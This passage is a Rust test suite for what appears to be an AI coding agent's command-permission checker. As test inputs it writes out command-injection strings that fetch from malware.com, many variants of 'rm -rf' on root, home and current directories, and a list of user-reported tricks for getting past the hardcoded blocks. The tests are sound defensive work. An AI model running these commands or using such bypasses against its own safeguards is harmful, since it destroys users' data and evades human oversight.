1056 t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1057 }
1058
1059 #[test]
1060 fn shell_injection_via_process_substitution_output_not_allowed() {
1061 t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1062 }
1063
1064 #[test]
1065 fn shell_injection_without_spaces_not_allowed() {
1066 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1067 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1068 }
1069
1070 #[test]
1071 fn shell_injection_multiple_chained_operators_not_allowed() {
1072 t("ls && echo hello && wget malware.com")
1073 .allow(&["^ls"])
1074 .is_confirm();
1075 }
1076
1077 #[test]
1078 fn shell_injection_mixed_operators_not_allowed() {
1079 t("ls; echo hello && wget malware.com")
1080 .allow(&["^ls"])
1081 .is_confirm();
1082 }
1083
1084 #[test]
1085 fn shell_injection_pipe_stderr_not_allowed() {
1086 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1087 }
1088
1089 #[test]
1090 fn allow_requires_all_commands_to_match() {
1091 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1092 }
1093
1094 #[test]
1095 fn deny_triggers_on_any_matching_command() {
1096 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1097 }
1098
1099 #[test]
1100 fn deny_catches_injected_command() {
1101 t("ls && rm -rf ./temp")
1102 .allow(&["^ls"])
1103 .deny(&["^rm"])
1104 .is_deny();
1105 }
1106
1107 #[test]
1108 fn confirm_triggers_on_any_matching_command() {
1109 t("ls && sudo reboot")
1110 .allow(&["^ls"])
1111 .confirm(&["^sudo"])
1112 .is_confirm();
1113 }
1114
1115 #[test]
1116 fn always_allow_button_works_end_to_end() {
1117 // This test verifies that the "Always Allow" button behavior works correctly:
1118 // 1. User runs a command like "cargo build"
1119 // 2. They click "Always Allow for `cargo` commands"
1120 // 3. The pattern extracted from that command should match future cargo commands
1121 let original_command = "cargo build --release";
1122 let extracted_pattern = pattern(original_command);
1123
1124 // The extracted pattern should allow the original command
1125 t(original_command).allow(&[extracted_pattern]).is_allow();
1126
1127 // It should also allow other commands with the same base command
1128 t("cargo test").allow(&[extracted_pattern]).is_allow();
1129 t("cargo fmt").allow(&[extracted_pattern]).is_allow();
1130
1131 // But not commands with different base commands
1132 t("npm install").allow(&[extracted_pattern]).is_confirm();
1133
1134 // And it should work with subcommand extraction (chained commands)
1135 t("cargo build && cargo test")
1136 .allow(&[extracted_pattern])
1137 .is_allow();
1138
1139 // But reject if any subcommand doesn't match
1140 t("cargo build && npm install")
1141 .allow(&[extracted_pattern])
1142 .is_confirm();
1143 }
1144
1145 #[test]
1146 fn nested_command_substitution_all_checked() {
1147 t("echo $(cat $(whoami).txt)")
1148 .allow(&["^echo", "^cat", "^whoami"])
1149 .is_allow();
1150 }
1151
1152 #[test]
1153 fn parse_failure_falls_back_to_confirm() {
1154 t("ls &&").allow(&["^ls$"]).is_confirm();
1155 }
1156
1157 #[test]
1158 fn mcp_tool_default_modes() {
1159 t("")
1160 .tool("mcp:fs:read")
1161 .mode(ToolPermissionMode::Allow)
1162 .is_allow();
1163 t("")
1164 .tool("mcp:bad:del")
1165 .mode(ToolPermissionMode::Deny)
1166 .is_deny();
1167 t("")
1168 .tool("mcp:gh:issue")
1169 .mode(ToolPermissionMode::Confirm)
1170 .is_confirm();
1171 t("")
1172 .tool("mcp:gh:issue")
1173 .mode(ToolPermissionMode::Confirm)
1174 .global(true)
1175 .is_allow();
1176 }
1177
1178 #[test]
1179 fn mcp_doesnt_collide_with_builtin() {
1180 let mut tools = collections::HashMap::default();
1181 tools.insert(
1182 Arc::from(TerminalTool::NAME),
1183 ToolRules {
1184 default_mode: ToolPermissionMode::Deny,
1185 always_allow: vec![],
1186 always_deny: vec![],
1187 always_confirm: vec![],
1188 invalid_patterns: vec![],
1189 },
1190 );
1191 tools.insert(
1192 Arc::from("mcp:srv:terminal"),
1193 ToolRules {
1194 default_mode: ToolPermissionMode::Allow,
1195 always_allow: vec![],
1196 always_deny: vec![],
1197 always_confirm: vec![],
1198 invalid_patterns: vec![],
1199 },
1200 );
1201 let p = ToolPermissions { tools };
1202 assert!(matches!(
1203 ToolPermissionDecision::from_input(
1204 TerminalTool::NAME,
1205 "x",
1206 &p,
1207 false,
1208 ShellKind::Posix
1209 ),
1210 ToolPermissionDecision::Deny(_)
1211 ));
1212 assert_eq!(
1213 ToolPermissionDecision::from_input(
1214 "mcp:srv:terminal",
1215 "x",
1216 &p,
1217 false,
1218 ShellKind::Posix
1219 ),
1220 ToolPermissionDecision::Allow
1221 );
1222 }
1223
1224 #[test]
1225 fn case_insensitive_by_default() {
1226 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1227 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1228 }
1229
1230 #[test]
1231 fn case_sensitive_allow() {
1232 t("cargo test")
1233 .allow_case_sensitive(&[pattern("cargo")])
1234 .is_allow();
1235 t("CARGO TEST")
1236 .allow_case_sensitive(&[pattern("cargo")])
1237 .is_confirm();
1238 }
1239
1240 #[test]
1241 fn case_sensitive_deny() {
1242 t("rm -rf ./temp")
1243 .deny_case_sensitive(&[pattern("rm")])
1244 .is_deny();
1245 t("RM -RF ./temp")
1246 .deny_case_sensitive(&[pattern("rm")])
1247 .mode(ToolPermissionMode::Allow)
1248 .is_allow();
1249 }
1250
1251 #[test]
1252 fn nushell_allows_with_allow_pattern() {
1253 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1254 }
1255
1256 #[test]
1257 fn nushell_allows_deny_patterns() {
1258 t("rm -rf ./temp")
1259 .deny(&["rm\\s+-rf"])
1260 .shell(ShellKind::Nushell)
1261 .is_deny();
1262 }
1263
1264 #[test]
1265 fn nushell_allows_confirm_patterns() {
1266 t("sudo reboot")
1267 .confirm(&["sudo"])
1268 .shell(ShellKind::Nushell)
1269 .is_confirm();
1270 }
1271
1272 #[test]
1273 fn nushell_no_allow_patterns_uses_default() {
1274 t("ls")
1275 .deny(&["rm"])
1276 .mode(ToolPermissionMode::Allow)
1277 .shell(ShellKind::Nushell)
1278 .is_allow();
1279 }
1280
1281 #[test]
1282 fn elvish_allows_with_allow_pattern() {
1283 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1284 }
1285
1286 #[test]
1287 fn rc_allows_with_allow_pattern() {
1288 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1289 }
1290
1291 #[test]
1292 fn multiple_invalid_patterns_pluralizes_message() {
1293 let mut tools = collections::HashMap::default();
1294 tools.insert(
1295 Arc::from(TerminalTool::NAME),
1296 ToolRules {
1297 default_mode: ToolPermissionMode::Allow,
1298 always_allow: vec![],
1299 always_deny: vec![],
1300 always_confirm: vec![],
1301 invalid_patterns: vec![
1302 InvalidRegexPattern {
1303 pattern: "[bad1".into(),
1304 rule_type: "always_deny".into(),
1305 error: "err1".into(),
1306 },
1307 InvalidRegexPattern {
1308 pattern: "[bad2".into(),
1309 rule_type: "always_allow".into(),
1310 error: "err2".into(),
1311 },
1312 ],
1313 },
1314 );
1315 let p = ToolPermissions { tools };
1316
1317 let result = ToolPermissionDecision::from_input(
1318 TerminalTool::NAME,
1319 "echo hi",
1320 &p,
1321 false,
1322 ShellKind::Posix,
1323 );
1324 match result {
1325 ToolPermissionDecision::Deny(msg) => {
1326 assert!(
1327 msg.contains("2 regex patterns"),
1328 "Expected '2 regex patterns' in message, got: {}",
1329 msg
1330 );
1331 }
1332 other => panic!("Expected Deny, got {:?}", other),
1333 }
1334 }
1335
1336 // Hardcoded security rules tests - these rules CANNOT be bypassed
1337
1338 #[test]
1339 fn hardcoded_blocks_rm_rf_root() {
1340 t("rm -rf /").is_deny();
1341 t("rm -fr /").is_deny();
1342 t("rm -RF /").is_deny();
1343 t("rm -FR /").is_deny();
1344 t("rm -r -f /").is_deny();
1345 t("rm -f -r /").is_deny();
1346 t("RM -RF /").is_deny();
1347 // Long flags
1348 t("rm --recursive --force /").is_deny();
1349 t("rm --force --recursive /").is_deny();
1350 // Extra short flags
1351 t("rm -rfv /").is_deny();
1352 t("rm -v -rf /").is_deny();
1353 // Glob wildcards
1354 t("rm -rf /*").is_deny();
1355 t("rm -rf /* ").is_deny();
1356 // End-of-options marker
1357 t("rm -rf -- /").is_deny();
1358 t("rm -- /").is_deny();
1359 // Prefixed with sudo or other commands
1360 t("sudo rm -rf /").is_deny();
1361 t("sudo rm -rf /*").is_deny();
1362 t("sudo rm -rf --no-preserve-root /").is_deny();
1363 }
1364
1365 #[test]
1366 fn hardcoded_blocks_rm_rf_home() {
1367 t("rm -rf ~").is_deny();
1368 t("rm -fr ~").is_deny();
1369 t("rm -rf ~/").is_deny();
1370 t("rm -rf $HOME").is_deny();
1371 t("rm -fr $HOME").is_deny();
1372 t("rm -rf $HOME/").is_deny();
1373 t("rm -rf ${HOME}").is_deny();
1374 t("rm -rf ${HOME}/").is_deny();
1375 t("rm -RF $HOME").is_deny();
1376 t("rm -FR ${HOME}/").is_deny();
1377 t("rm -R -F ${HOME}/").is_deny();
1378 t("RM -RF ~").is_deny();
1379 // Long flags
1380 t("rm --recursive --force ~").is_deny();
1381 t("rm --recursive --force ~/").is_deny();
1382 t("rm --recursive --force $HOME").is_deny();
1383 t("rm --force --recursive ${HOME}/").is_deny();
1384 // Extra short flags
1385 t("rm -rfv ~").is_deny();
1386 t("rm -v -rf ~/").is_deny();
1387 // Glob wildcards
1388 t("rm -rf ~/*").is_deny();
1389 t("rm -rf $HOME/*").is_deny();
1390 t("rm -rf ${HOME}/*").is_deny();
1391 // End-of-options marker
1392 t("rm -rf -- ~").is_deny();
1393 t("rm -rf -- ~/").is_deny();
1394 t("rm -rf -- $HOME").is_deny();
1395 }
1396
1397 #[test]
1398 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1399 // Path traversal after $HOME / ${HOME} should still be blocked
1400 t("rm -rf $HOME/./").is_deny();
1401 t("rm -rf $HOME/foo/..").is_deny();
1402 t("rm -rf ${HOME}/.").is_deny();
1403 t("rm -rf ${HOME}/./").is_deny();
1404 t("rm -rf $HOME/a/b/../..").is_deny();
1405 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1406 // Subdirectories should NOT be blocked
1407 t("rm -rf $HOME/subdir")
1408 .mode(ToolPermissionMode::Allow)
1409 .is_allow();
1410 t("rm -rf ${HOME}/Documents")
1411 .mode(ToolPermissionMode::Allow)
1412 .is_allow();
1413 }
1414
1415 #[test]
1416 fn hardcoded_blocks_rm_rf_dot() {
1417 t("rm -rf .").is_deny();
1418 t("rm -fr .").is_deny();
1419 t("rm -rf ./").is_deny();
1420 t("rm -rf ..").is_deny();
1421 t("rm -fr ..").is_deny();
1422 t("rm -rf ../").is_deny();
1423 t("rm -RF .").is_deny();
1424 t("rm -FR ../").is_deny();
1425 t("rm -R -F ../").is_deny();
1426 t("RM -RF .").is_deny();
1427 t("RM -RF ..").is_deny();
1428 // Long flags
1429 t("rm --recursive --force .").is_deny();
1430 t("rm --force --recursive ../").is_deny();
1431 // Extra short flags
1432 t("rm -rfv .").is_deny();
1433 t("rm -v -rf ../").is_deny();
1434 // Glob wildcards
1435 t("rm -rf ./*").is_deny();
1436 t("rm -rf ../*").is_deny();
1437 // End-of-options marker
1438 t("rm -rf -- .").is_deny();
1439 t("rm -rf -- ../").is_deny();
1440 }
1441
1442 #[test]
1443 fn hardcoded_cannot_be_bypassed_by_global() {
1444 // Even with always_allow_tool_actions=true, hardcoded rules block
1445 t("rm -rf /").global(true).is_deny();
1446 t("rm -rf ~").global(true).is_deny();
1447 t("rm -rf $HOME").global(true).is_deny();
1448 t("rm -rf .").global(true).is_deny();
1449 t("rm -rf ..").global(true).is_deny();
1450 }
1451
1452 #[test]
1453 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1454 // Even with an allow pattern that matches, hardcoded rules block
1455 t("rm -rf /").allow(&[".*"]).is_deny();
1456 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1457 t("rm -rf .").allow(&[".*"]).is_deny();
1458 t("rm -rf ..").allow(&[".*"]).is_deny();
1459 }
1460
1461 #[test]
1462 fn hardcoded_allows_safe_rm() {
1463 // rm -rf on a specific path should NOT be blocked
1464 t("rm -rf ./build")
1465 .mode(ToolPermissionMode::Allow)
1466 .is_allow();
1467 t("rm -rf /tmp/test")
1468 .mode(ToolPermissionMode::Allow)
1469 .is_allow();
1470 t("rm -rf ~/Documents")
1471 .mode(ToolPermissionMode::Allow)
1472 .is_allow();
1473 t("rm -rf $HOME/Documents")
1474 .mode(ToolPermissionMode::Allow)
1475 .is_allow();
1476 t("rm -rf ../some_dir")
1477 .mode(ToolPermissionMode::Allow)
1478 .is_allow();
1479 t("rm -rf .hidden_dir")
1480 .mode(ToolPermissionMode::Allow)
1481 .is_allow();
1482 }
1483
1484 #[test]
1485 fn hardcoded_checks_chained_commands() {
1486 // Hardcoded rules should catch dangerous commands in chains
1487 t("ls && rm -rf /").is_deny();
1488 t("echo hello; rm -rf ~").is_deny();
1489 t("cargo build && rm -rf /").global(true).is_deny();
1490 t("echo hello; rm -rf $HOME").is_deny();
1491 t("echo hello; rm -rf .").is_deny();
1492 t("echo hello; rm -rf ..").is_deny();
1493 }
1494
1495 #[test]
1496 fn hardcoded_blocks_rm_with_trailing_flags() {
1497 // GNU rm accepts flags after operands by default
1498 t("rm / -rf").is_deny();
1499 t("rm / -fr").is_deny();
1500 t("rm / -RF").is_deny();
1501 t("rm / -r -f").is_deny();
1502 t("rm / --recursive --force").is_deny();
1503 t("rm / -rfv").is_deny();
1504 t("rm /* -rf").is_deny();
1505 // Mixed: some flags before path, some after
1506 t("rm -r / -f").is_deny();
1507 t("rm -f / -r").is_deny();
1508 // Home
1509 t("rm ~ -rf").is_deny();
1510 t("rm ~/ -rf").is_deny();
1511 t("rm ~ -r -f").is_deny();
1512 t("rm $HOME -rf").is_deny();
1513 t("rm ${HOME} -rf").is_deny();
1514 // Dot / dotdot
1515 t("rm . -rf").is_deny();
1516 t("rm ./ -rf").is_deny();
1517 t("rm . -r -f").is_deny();
1518 t("rm .. -rf").is_deny();
1519 t("rm ../ -rf").is_deny();
1520 t("rm .. -r -f").is_deny();
1521 // Trailing flags in chained commands
1522 t("ls && rm / -rf").is_deny();
1523 t("echo hello; rm ~ -rf").is_deny();
1524 // Safe paths with trailing flags should NOT be blocked
1525 t("rm ./build -rf")
1526 .mode(ToolPermissionMode::Allow)
1527 .is_allow();
1528 t("rm /tmp/test -rf")
1529 .mode(ToolPermissionMode::Allow)
1530 .is_allow();
1531 t("rm ~/Documents -rf")
1532 .mode(ToolPermissionMode::Allow)
1533 .is_allow();
1534 }
1535
1536 #[test]
1537 fn hardcoded_blocks_rm_with_flag_equals_value() {
1538 // --flag=value syntax should not bypass the rules
1539 t("rm --no-preserve-root=yes -rf /").is_deny();
1540 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1541 t("rm -rf --no-preserve-root=yes /").is_deny();
1542 t("rm --interactive=never -rf /").is_deny();
1543 t("rm --no-preserve-root=yes -rf ~").is_deny();
1544 t("rm --no-preserve-root=yes -rf .").is_deny();
1545 t("rm --no-preserve-root=yes -rf ..").is_deny();
1546 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1547 // --flag (without =value) should also not bypass the rules
1548 t("rm -rf --no-preserve-root /").is_deny();
1549 t("rm --no-preserve-root -rf /").is_deny();
1550 t("rm --no-preserve-root --recursive --force /").is_deny();
1551 t("rm -rf --no-preserve-root ~").is_deny();
1552 t("rm -rf --no-preserve-root .").is_deny();
1553 t("rm -rf --no-preserve-root ..").is_deny();
1554 t("rm -rf --no-preserve-root $HOME").is_deny();
1555 // Trailing --flag=value after path
1556 t("rm / --no-preserve-root=yes -rf").is_deny();
1557 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1558 // Trailing --flag (without =value) after path
1559 t("rm / -rf --no-preserve-root").is_deny();
1560 t("rm ~ -rf --no-preserve-root").is_deny();
1561 // Safe paths with --flag=value should NOT be blocked
1562 t("rm --no-preserve-root=yes -rf ./build")
1563 .mode(ToolPermissionMode::Allow)
1564 .is_allow();
1565 t("rm --interactive=never -rf /tmp/test")
1566 .mode(ToolPermissionMode::Allow)
1567 .is_allow();
1568 // Safe paths with --flag (without =value) should NOT be blocked
1569 t("rm --no-preserve-root -rf ./build")
1570 .mode(ToolPermissionMode::Allow)
1571 .is_allow();
1572 }
1573
1574 #[test]
1575 fn hardcoded_blocks_rm_with_path_traversal() {
1576 // Traversal to root via ..
1577 t("rm -rf /etc/../").is_deny();
1578 t("rm -rf /tmp/../../").is_deny();
1579 t("rm -rf /tmp/../..").is_deny();
1580 t("rm -rf /var/log/../../").is_deny();
1581 // Root via /./
1582 t("rm -rf /./").is_deny();
1583 t("rm -rf /.").is_deny();
1584 // Double slash (equivalent to /)
1585 t("rm -rf //").is_deny();
1586 // Home traversal via ~/./
1587 t("rm -rf ~/./").is_deny();
1588 t("rm -rf ~/.").is_deny();
1589 // Dot traversal via indirect paths
1590 t("rm -rf ./foo/..").is_deny();
1591 t("rm -rf ../foo/..").is_deny();
1592 // Traversal in chained commands
1593 t("ls && rm -rf /tmp/../../").is_deny();
1594 t("echo hello; rm -rf /./").is_deny();
1595 // Traversal cannot be bypassed by global or allow patterns
1596 t("rm -rf /tmp/../../").global(true).is_deny();
1597 t("rm -rf /./").allow(&[".*"]).is_deny();
1598 // Safe paths with traversal should still be allowed
1599 t("rm -rf /tmp/../tmp/foo")
1600 .mode(ToolPermissionMode::Allow)
1601 .is_allow();
1602 t("rm -rf ~/Documents/./subdir")
1603 .mode(ToolPermissionMode::Allow)
1604 .is_allow();
1605 }
1606
1607 #[test]
1608 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1609 t("rm -rf /tmp /").is_deny();
1610 t("rm -rf /tmp/foo /").is_deny();
1611 t("rm -rf /var/log ~").is_deny();
1612 t("rm -rf /safe $HOME").is_deny();
1613 }
1614
1615 #[test]
1616 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1617 t("rm -rf / /tmp").is_deny();
1618 t("rm -rf ~ /var/log").is_deny();
1619 t("rm -rf . /tmp/foo").is_deny();
1620 t("rm -rf .. /safe").is_deny();
1621 }
1622
1623 #[test]
1624 fn hardcoded_allows_rm_multi_path_all_safe() {
1625 t("rm -rf /tmp /home/user")
1626 .mode(ToolPermissionMode::Allow)
1627 .is_allow();
1628 t("rm -rf ./build ./dist")
1629 .mode(ToolPermissionMode::Allow)
1630 .is_allow();
1631 t("rm -rf /var/log/app /tmp/cache")
1632 .mode(ToolPermissionMode::Allow)
1633 .is_allow();
1634 }
1635
1636 #[test]
1637 fn hardcoded_blocks_rm_multi_path_with_traversal() {
1638 t("rm -rf /safe /tmp/../../").is_deny();
1639 t("rm -rf /tmp/../../ /safe").is_deny();
1640 t("rm -rf /safe /var/log/../../").is_deny();
1641 }
1642
1643 #[test]
1644 fn hardcoded_blocks_user_reported_bypass_variants() {
1645 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1646 t("rm -rf /etc/../").is_deny();
1647 t("rm -rf /etc/..").is_deny();
1648 // User report: --no-preserve-root (without =value) should not bypass
1649 t("rm -rf --no-preserve-root /").is_deny();
1650 t("rm --no-preserve-root -rf /").is_deny();
1651 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1652 t("rm -rf /*").is_deny();
1653 // Chained with sudo
1654 t("sudo rm -rf /").is_deny();
1655 t("sudo rm -rf --no-preserve-root /").is_deny();
1656 // Traversal cannot be bypassed even with global allow or allow patterns
1657 t("rm -rf /etc/../").global(true).is_deny();
1658 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1659 t("rm -rf --no-preserve-root /").global(true).is_deny();
1660 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1661 }
1662
1663 #[test]
1664 fn normalize_path_relative_no_change() {
1665 assert_eq!(normalize_path("foo/bar"), "foo/bar");
1666 }
1667
1668 #[test]
1669 fn normalize_path_relative_with_curdir() {
1670 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1671 }
1672
1673 #[test]
1674 fn normalize_path_relative_with_parent() {
1675 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1676 }
1677
1678 #[test]
1679 fn normalize_path_absolute_preserved() {
1680 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1681 }
1682
1683 #[test]
1684 fn normalize_path_absolute_with_traversal() {
1685 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1686 }
1687
1688 #[test]
1689 fn normalize_path_root() {
1690 assert_eq!(normalize_path("/"), "/");
1691 }
1692
1693 #[test]
1694 fn normalize_path_parent_beyond_root_clamped() {
1695 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1696 }
1697
1698 #[test]
1699 fn normalize_path_curdir_only() {
1700 assert_eq!(normalize_path("."), "");
1701 }
1702
1703 #[test]
1704 fn normalize_path_empty() {
1705 assert_eq!(normalize_path(""), "");
1706 }
1707
1708 #[test]
1709 fn normalize_path_relative_traversal_above_start() {
1710 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1711 }
1712
1713 #[test]
1714 fn normalize_path_relative_traversal_with_curdir() {
1715 assert_eq!(normalize_path("../../."), "../..");
1716 }
1717
1718 #[test]
1719 fn normalize_path_relative_partial_traversal_above_start() {
1720 assert_eq!(normalize_path("foo/../../bar"), "../bar");
1721 }
1722
1723 #[test]
1724 fn most_restrictive_deny_vs_allow() {
1725 assert!(matches!(
1726 most_restrictive(
1727 ToolPermissionDecision::Deny("x".into()),
1728 ToolPermissionDecision::Allow
1729 ),
1730 ToolPermissionDecision::Deny(_)
1731 ));
1732 }
1733
1734 #[test]
1735 fn most_restrictive_allow_vs_deny() {
1736 assert!(matches!(
1737 most_restrictive(
1738 ToolPermissionDecision::Allow,
1739 ToolPermissionDecision::Deny("x".into())
1740 ),
1741 ToolPermissionDecision::Deny(_)
1742 ));
1743 }
1744
1745 #[test]
1746 fn most_restrictive_deny_vs_confirm() {
1747 assert!(matches!(
1748 most_restrictive(
1749 ToolPermissionDecision::Deny("x".into()),
1750 ToolPermissionDecision::Confirm
1751 ),
1752 ToolPermissionDecision::Deny(_)
1753 ));
1754 }
1755
1756 #[test]
1757 fn most_restrictive_confirm_vs_deny() {
1758 assert!(matches!(
1759 most_restrictive(
1760 ToolPermissionDecision::Confirm,
1761 ToolPermissionDecision::Deny("x".into())
1762 ),
1763 ToolPermissionDecision::Deny(_)
1764 ));
1765 }
1766
1767 #[test]
1768 fn most_restrictive_deny_vs_deny() {
1769 assert!(matches!(
1770 most_restrictive(
1771 ToolPermissionDecision::Deny("a".into()),
1772 ToolPermissionDecision::Deny("b".into())
1773 ),
1774 ToolPermissionDecision::Deny(_)
1775 ));
1776 }
1777
1778 #[test]
1779 fn most_restrictive_confirm_vs_allow() {
1780 assert_eq!(
1781 most_restrictive(
1782 ToolPermissionDecision::Confirm,
1783 ToolPermissionDecision::Allow
1784 ),
1785 ToolPermissionDecision::Confirm
1786 );
1787 }
1788
1789 #[test]
1790 fn most_restrictive_allow_vs_confirm() {
1791 assert_eq!(
1792 most_restrictive(
1793 ToolPermissionDecision::Allow,
1794 ToolPermissionDecision::Confirm
1795 ),
1796 ToolPermissionDecision::Confirm
1797 );
1798 }
1799
1800 #[test]
1801 fn most_restrictive_allow_vs_allow() {
1802 assert_eq!(
1803 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
1804 ToolPermissionDecision::Allow
1805 );
1806 }
1807
1808 #[test]
1809 fn decide_permission_for_path_no_dots_early_return() {
1810 // When the path has no `.` or `..`, normalize_path returns the same string,
1811 // so decide_permission_for_path returns the raw decision directly.
1812 let settings = test_agent_settings(
1813 ToolPermissions {
1814 tools: Default::default(),
1815 },
1816 false,
1817 );
1818 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
1819 assert_eq!(decision, ToolPermissionDecision::Confirm);
1820 }
1821
1822 #[test]
1823 fn decide_permission_for_path_traversal_triggers_deny() {
1824 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
1825 let mut tools = collections::HashMap::default();
1826 tools.insert(
1827 Arc::from(EditFileTool::NAME),
1828 ToolRules {
1829 default_mode: ToolPermissionMode::Allow,
1830 always_allow: vec![],
1831 always_deny: vec![deny_regex],
1832 always_confirm: vec![],
1833 invalid_patterns: vec![],
1834 },
1835 );
1836 let settings = test_agent_settings(ToolPermissions { tools }, false);
1837
1838 let decision =
1839 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
1840 assert!(
1841 matches!(decision, ToolPermissionDecision::Deny(_)),
1842 "expected Deny for traversal to /etc/passwd, got {:?}",
1843 decision
1844 );
1845 }
1846}